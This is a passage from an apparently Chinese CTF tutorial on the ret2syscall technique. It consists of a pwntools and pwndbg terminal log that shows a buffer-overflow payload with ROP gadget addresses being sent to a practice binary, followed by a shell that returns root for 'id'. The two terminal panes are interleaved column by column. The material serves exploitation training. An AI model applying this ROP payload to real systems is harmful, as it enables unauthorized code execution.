[DEBUG] Wrote gdb script to '/tmp/pwnA4EQFw.gdb' │ 0x806d0b3 <__read_nocancel+25> cmp eax, 0xfffff001file ./ret2syscall │ 0x806d0b8 <__read_nocancel+30> jae __syscall_error <0x8070250>handle SIGALRM ignore │ ↓set $_base = 0x8048000 │ 0x8070250 <__syscall_error> neg eax
[*] running in new terminal: /usr/bin/gdb -q "./ret2syscall" 114 -x "/tmp/pwnA4EQFw.gdb" │ 0x8070252 <__syscall_error+2> mov dword ptr gs:[0xffffffe8], eax
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./ret2syscall" 114 -x │ 0x8070258 <__syscall_error+8> mov eax, 0xffffffff
"/tmp/pwnA4EQFw.gdb"'] │ 0x807025d <__syscall_error+13> ret
[+] Waiting for debugger: Done │────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
[DEBUG] Sent 0x8d bytes: │00:0000│ esp 0xff8583a8 —▸ 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ │01:0004│ 0xff8583ac ◂— 0x1000* │02:0008│ 0xff8583b0 —▸ 0xf7fca000 ◂— 0x000000070 96 b1 0b 08 0b 00 00 00 90 eb 06 08 00 00 00 00 │····│····│····│····│ │03:000c│ 0xff8583b4 —▸ 0x806d0b2 (__read_nocancel+24) ◂— pop ebx00000080 00 00 00 00 08 e4 0b 08 21 94 04 08 0a │····│····│!···│·│ │04:0010│ 0xff8583b8 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad28870000008d │05:0014│ 0xff8583bc —▸ 0x80518ee (_IO_new_file_underflow+254) ◂— cmp eax, 0
[*] Switching to interactive mode │06:0018│ 0xff8583c0 ◂— 0x0
[DEBUG] Received 0x43 bytes: │07:001c│ 0xff8583c4 —▸ 0xf7fca000 ◂— 0x0'This time, no system() and NO SHELLCODE!!!\n' │──────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────'What do you plan to do?\n' │ ► f 0 f7fcf589 __kernel_vsyscall+9
This time, no system() and NO SHELLCODE!!! │ f 1 806d0b2 __read_nocancel+24
What do you plan to do? │ f 2 80518ee _IO_new_file_underflow+254
$ id │ f 3 8054114 _IO_default_uflow+20
[DEBUG] Sent 0x3 bytes: │ f 4 804f76f gets+287'id\n' │ f 5 8048e9b main+119
[DEBUG] Received 0x27 bytes: │ f 6 804907a __libc_start_main+458'uid=0(root) gid=0(root) groups=0(root)\n' │pwndbg> c
uid=0(root) gid=0(root) groups=0(root) │Continuing.
$ ls │process 114 is executing new program: /bin/dash
[DEBUG] Sent 0x3 bytes: │[New process 126]'ls\n' │process 126 is executing new program: /usr/bin/id
[DEBUG] Received 0x2d bytes: │[Thread debugging using libthread_db enabled]'ret2syscall ret2syscall.py ret2syscall1.py\n' │Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2syscall ret2syscall.py ret2syscall1.py │[Inferior 2 (process 126) exited normally]
$ │pwndbg>
[0] 0:python*
4.参考资料
【PWN】ret2syscall | 狼组安全团队公开知识库